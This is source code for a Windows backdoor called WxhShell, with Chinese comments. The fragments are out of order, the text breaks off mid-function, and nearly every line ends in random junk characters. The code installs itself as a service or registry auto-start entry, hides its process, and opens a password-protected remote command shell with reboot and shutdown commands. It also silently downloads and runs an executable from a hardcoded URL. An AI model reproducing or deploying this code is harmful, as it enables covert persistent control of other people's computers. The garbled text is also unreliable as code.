ULONG UniqueProcessId; P|{Et=R`1
ULONG InheritedFromUniqueProcessId; `p{,C`g,R
} PROCESS_BASIC_INFORMATION; b"QeCw#v`>
]53'\TH
PROCNTQSIP NtQueryInformationProcess; ajMI7j^G
PquATAzQA
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; HG)c\b
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; $,L,VYN
i1JWdHt
HANDLE hProcess; |nTZ/MXbw
PROCESS_BASIC_INFORMATION pbi; Y\1XKAfB
` "JslpN
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 8
y+N l&"V
if(NULL == hInst ) return 0;
}j /r
Q($aN-
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); k9iXVYQ.;r
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); baL-~`(T
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); }2-p=Y:6
*UlL\
if (!NtQueryInformationProcess) return 0; VG+WVk
>W[#-jA_Z
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); sB>ZN3ptH^
if(!hProcess) return 0; mbm|~UwD
;%tu;
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; :\+\/HTbh
&$
/}HND
CloseHandle(hProcess); z`Cq,Sz/
"-;l{tL
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); EFKOElG(k
if(hProcess==NULL) return 0; zu-1|XX
N2_9V~!
HMODULE hMod; YDMimis\H5
char procName[255]; baVSQtda
unsigned long cbNeeded; J)xc mK
U&<Nhh
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); >4lT0~V/
_Z|3qQ
CloseHandle(hProcess); rJ UXA<:2
2AZ)|dM'`
if(strstr(procName,"services")) return 1; // 以服务启动 G,J~Ed
zrJ/Fs+s
return 0; // 注册表启动 |vY0[#E8&
} d|8iD`sZz
%Kq`8
// 主模块 _^)<d$R<
int StartWxhshell(LPSTR lpCmdLine) H!NyM}jsr
{ 4z##4^9g
SOCKET wsl; w
9mi2=
BOOL val=TRUE; C*I~14
int port=0; 3h|:ew[
struct sockaddr_in door;
G$"$k=[
l[EjtN
if(wscfg.ws_autoins) Install(); 'l}T_7g
%4Thb\ T
port=atoi(lpCmdLine); <
<vE .
4mY(* 2:HC
if(port<=0) port=wscfg.ws_port; m% {4
:uD*Q/
WSADATA data; 8,,$C7"EP
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; >_4Ck{^d#
u0@i3Po
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; _IOt(Zb(
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); p(F}[bP
door.sin_family = AF_INET; |GvWHe`
door.sin_addr.s_addr = inet_addr("127.0.0.1"); -U?Udmov
door.sin_port = htons(port); +hIStA
ByrK|lVM0
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 9aR-kcvJIJ
closesocket(wsl); bnz2\C9^
return 1; E2s
lpo
} $EB&]t+
>h0iq
if(listen(wsl,2) == INVALID_SOCKET) { <J`",h
closesocket(wsl); &;%z1b>F
return 1; #S/]=D
} hZE" 8%\q
Wxhshell(wsl); t}zffe-
WSACleanup(); w~NQAHAvo
xm}9(EJ
return 0; v>FsP$p4yE
?v-( :OF
} p9;Oe,Il
Tl^9!>\Q
// 以NT服务方式启动 SO#NWa<0|
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) BitP?6KX
{ 4L RrrW
DWORD status = 0; +rw?k/
DWORD specificError = 0xfffffff; gBzg'Z
]xlV;m
serviceStatus.dwServiceType = SERVICE_WIN32; B\U9F5
serviceStatus.dwCurrentState = SERVICE_START_PENDING; U{vt9t
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; $niJw@zC
serviceStatus.dwWin32ExitCode = 0; T5; zgr
serviceStatus.dwServiceSpecificExitCode = 0; }fps~R
serviceStatus.dwCheckPoint = 0; Bb5|+bP
serviceStatus.dwWaitHint = 0; L*xu<(>K
UQ;ymTqdc
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 6>rgoT)6~
if (hServiceStatusHandle==0) return; 39p&M"Yo
sb Wn1 T
U
status = GetLastError(); rBd}u+:*
if (status!=NO_ERROR) R?)M#^"W
{ \K$9r=!(
serviceStatus.dwCurrentState = SERVICE_STOPPED; dzIcX*"
serviceStatus.dwCheckPoint = 0; ~)\9f 1O{^
serviceStatus.dwWaitHint = 0; k8!|WqfP
serviceStatus.dwWin32ExitCode = status; _l`d+
\#
serviceStatus.dwServiceSpecificExitCode = specificError; <L4.*
SetServiceStatus(hServiceStatusHandle, &serviceStatus); >WfkWUb
return; Y$3 &?LA
} .<0|V
: GVyY]qBU
serviceStatus.dwCurrentState = SERVICE_RUNNING; )Gf"#TM[
serviceStatus.dwCheckPoint = 0; sw<mmayN
serviceStatus.dwWaitHint = 0; /NFk@8<?
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); tPv3nh
} =L,s6J8_'
F E`4%X
// 处理NT服务事件,比如:启动、停止 F#0y0|
VOID WINAPI NTServiceHandler(DWORD fdwControl) Mnj\t3:
{ %2H0JXKa,
switch(fdwControl) (u/-ud1p
{ U/hf?T;
case SERVICE_CONTROL_STOP: DdUT"%
serviceStatus.dwWin32ExitCode = 0; $KSdNFtM)A
serviceStatus.dwCurrentState = SERVICE_STOPPED; v BP
5n
serviceStatus.dwCheckPoint = 0; MR= dQc
serviceStatus.dwWaitHint = 0; 9%{V?r]k
{ GSHJ?}U,
SetServiceStatus(hServiceStatusHandle, &serviceStatus); C)x>/Qr ~
} \fX0&l;T9\
return; K1S:P( S
case SERVICE_CONTROL_PAUSE: ss{y=O%9"
serviceStatus.dwCurrentState = SERVICE_PAUSED; #$-zg^
break; q mJ#cmN
case SERVICE_CONTROL_CONTINUE: C?xah?Sk
serviceStatus.dwCurrentState = SERVICE_RUNNING; ElFiR;
break; $#z
` R;
case SERVICE_CONTROL_INTERROGATE: 49('pq?D
break; jN3K=
MA
}; 8iv0&91Z
SetServiceStatus(hServiceStatusHandle, &serviceStatus); &c?q#-^)\+
} [-ONs
2p^Jqp`$
// 标准应用程序主函数 6]%SSq&
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ,,FO6+4f
{ n(}cK@
Yz%A Kp
// 获取操作系统版本 ":qhO0
OsIsNt=GetOsVer(); "3&bh>#qY
GetModuleFileName(NULL,ExeFile,MAX_PATH); UyFvj4SU
g2Hz[C(
// 从命令行安装 A7`+XqG
if(strpbrk(lpCmdLine,"iI")) Install(); V(lxkEu/Fj
3^jkd)xw
// 下载执行文件 [9<c;&$LU
if(wscfg.ws_downexe) { J Wh5gOXd
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) +#;t.&\80N
WinExec(wscfg.ws_filenam,SW_HIDE); Z=[qaJ{]
} r$8(Q'
V4["+Y
if(!OsIsNt) { n]3Lqe;
// 如果时win9x,隐藏进程并且设置为注册表启动 g-C)y
06
HideProc(); f9%M:cl
StartWxhshell(lpCmdLine); DB=^Z%%Z
} }s@
i
else \!51I./Q/
if(StartFromService()) iBqxz:PHN(
// 以服务方式启动 c"wk_#
StartServiceCtrlDispatcher(DispatchTable); rtjUHhF
else s%bm1$}
// 普通方式启动 v=pkze
StartWxhshell(lpCmdLine); bZ5cKQ\6
6E^h#Ozl
9
return 0; BN_I#8r
} nB|m!fi<
KbXENz&C
4MFdhJoN
> w-fsL
=========================================== sahXPl%;U
p2=+cS"HC
w/1Os!p
B[$L)y'-;
(kY wD
P&snIJ
" dED&-e#
vY"i^a`f
#include <stdio.h> 'NAC4to;;
#include <string.h> \yE*nZ
#include <windows.h> &6@#W]_
#include <winsock2.h> MnPk+eNJm
#include <winsvc.h> yq=rv$.s
#include <urlmon.h> r%uka5@
7l+:gD
#pragma comment (lib, "Ws2_32.lib") +Oafo|%
#pragma comment (lib, "urlmon.lib") d71|(`&
`Eg~;E:
#define MAX_USER 100 // 最大客户端连接数 .T\jEH8E
#define BUF_SOCK 200 // sock buffer ,hVDGif
#define KEY_BUFF 255 // 输入 buffer v =]!Po&Q-
/8O;Q~a
#define REBOOT 0 // 重启 kSfNu{YS
#define SHUTDOWN 1 // 关机 Zk+c9, q
`9`T,uJe
#define DEF_PORT 5000 // 监听端口 -;Ij ,
U/s! Tb>`
#define REG_LEN 16 // 注册表键长度 9Qb6ek
#define SVC_LEN 80 // NT服务名长度 l+r3|b
;CtTdr
// 从dll定义API KW@][*\uC
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); U)JwoO
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); H/^t]bg,
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); sK/Z'h{|
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
/D>G4PP<
n8.Tag(#
// wxhshell配置信息 K/l*Saj
struct WSCFG { TN=!;SvQU
int ws_port; // 监听端口 Zsto8wuf#
char ws_passstr[REG_LEN]; // 口令 DedY(JOvB
int ws_autoins; // 安装标记, 1=yes 0=no "nA~/t=
char ws_regname[REG_LEN]; // 注册表键名 8dUP_t~d#q
char ws_svcname[REG_LEN]; // 服务名 OnND(YiX
char ws_svcdisp[SVC_LEN]; // 服务显示名 x:E:~h[.^
char ws_svcdesc[SVC_LEN]; // 服务描述信息 `gX$N1(
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Vpe\Okt:
int ws_downexe; // 下载执行标记, 1=yes 0=no MC~<jJ,
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" vo"?a~kY7
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 VUUE2k;^
2u%YRrp
}; :soR7oHZ
jmJeu@(
// default Wxhshell configuration K}(@Ek
struct WSCFG wscfg={DEF_PORT, w!rw%
"xuhuanlingzhe", <3fY,qw
1, 9#:B_?e=
"Wxhshell", 3y}8|ML
"Wxhshell", E#VF7 9L
"WxhShell Service", =5q_aK#i
"Wrsky Windows CmdShell Service", W690N&Wz
"Please Input Your Password: ", K#kMz#B+i
1, -+z8bZ
"http://www.wrsky.com/wxhshell.exe", miB+'n"zS
"Wxhshell.exe" fo_*Uva_
}; h#}'9oA
') K'Ea
// 消息定义模块 \qkb8H
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; gXvE^fE
char *msg_ws_prompt="\n\r? for help\n\r#>"; HXb_k1n
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; k9!euj&
char *msg_ws_ext="\n\rExit."; X!|K 4Z!k
char *msg_ws_end="\n\rQuit."; b#W(&b^q
char *msg_ws_boot="\n\rReboot...";
x0||'0I0
char *msg_ws_poff="\n\rShutdown..."; -J;;6aA
char *msg_ws_down="\n\rSave to "; =Bos>;dl
7{Zs"d{s
char *msg_ws_err="\n\rErr!"; !7n`-#)
char *msg_ws_ok="\n\rOK!"; 6B!v;93U
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char ExeFile[MAX_PATH]; 6$&%z Eh
int nUser = 0; S#b)RpY
HANDLE handles[MAX_USER]; sf Zb$T
J
int OsIsNt; FnCMr_
?>DwNz^.!
SERVICE_STATUS serviceStatus; <N8z<o4rku
SERVICE_STATUS_HANDLE hServiceStatusHandle; @;7Ht Z`
B)BR
y%
// 函数声明 ~BC~^D&WD
int Install(void); l9z{pZ\KM
int Uninstall(void); Wrf+5 ;,,
int DownloadFile(char *sURL, SOCKET wsh); nk"nSXm3SR
int Boot(int flag); 'kHa_
void HideProc(void); Q#lFt,.y
int GetOsVer(void); Huc|HL#C
int Wxhshell(SOCKET wsl); Vx%!j&
void TalkWithClient(void *cs); I_is3y0
int CmdShell(SOCKET sock); q"u,r6ED
int StartFromService(void); 7`SrqI&
int StartWxhshell(LPSTR lpCmdLine); c!a1@G
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VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Rnw v/)
VOID WINAPI NTServiceHandler( DWORD fdwControl ); %+oV-o\ #A
=}%Q}aPp
// 数据结构和表定义 y]}N[l
SERVICE_TABLE_ENTRY DispatchTable[] = kC
iOcl*$
{ ut^6UdJ+`
{wscfg.ws_svcname, NTServiceMain}, scPvuHzl
{NULL, NULL} a)'
P/P
}; kd OIL2T
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// 自我安装 BeFXC5-qat
int Install(void) \t]_UNGyW
{ x$) E^|A+
char svExeFile[MAX_PATH]; +&[X7r<
HKEY key; wg^'oy
strcpy(svExeFile,ExeFile); = ,c!V
-/R?D1kOq
// 如果是win9x系统,修改注册表设为自启动 "DSRy D0M
if(!OsIsNt) { 9P*p{O{_
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1"No~/_
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); I+rLKGZC
RegCloseKey(key); fv:&?gc
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { h]WW?.
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,p
V3O`z
RegCloseKey(key); GHFYIor
return 0; z}-8pDD'
} p/gf
} &R3#? 1,
} IZ@M
K
else { sOm&7A?
{j%7/T{
// 如果是NT以上系统,安装为系统服务 /\U:F
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Go
!{T
if (schSCManager!=0) `!C5"i8+i2
{ PoZxT-U
SC_HANDLE schService = CreateService FSb4RuD9
( O)INM
schSCManager, UB]]oC<
wscfg.ws_svcname, vvP]tRZ
wscfg.ws_svcdisp, Bkdt[qDn5P
SERVICE_ALL_ACCESS, -H$C3V3]
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 3aFD*S
SERVICE_AUTO_START, >
QK"r7f/
SERVICE_ERROR_NORMAL, ?&bB?mg\
svExeFile, <[V1z=Eo/]
NULL, 6*s:I&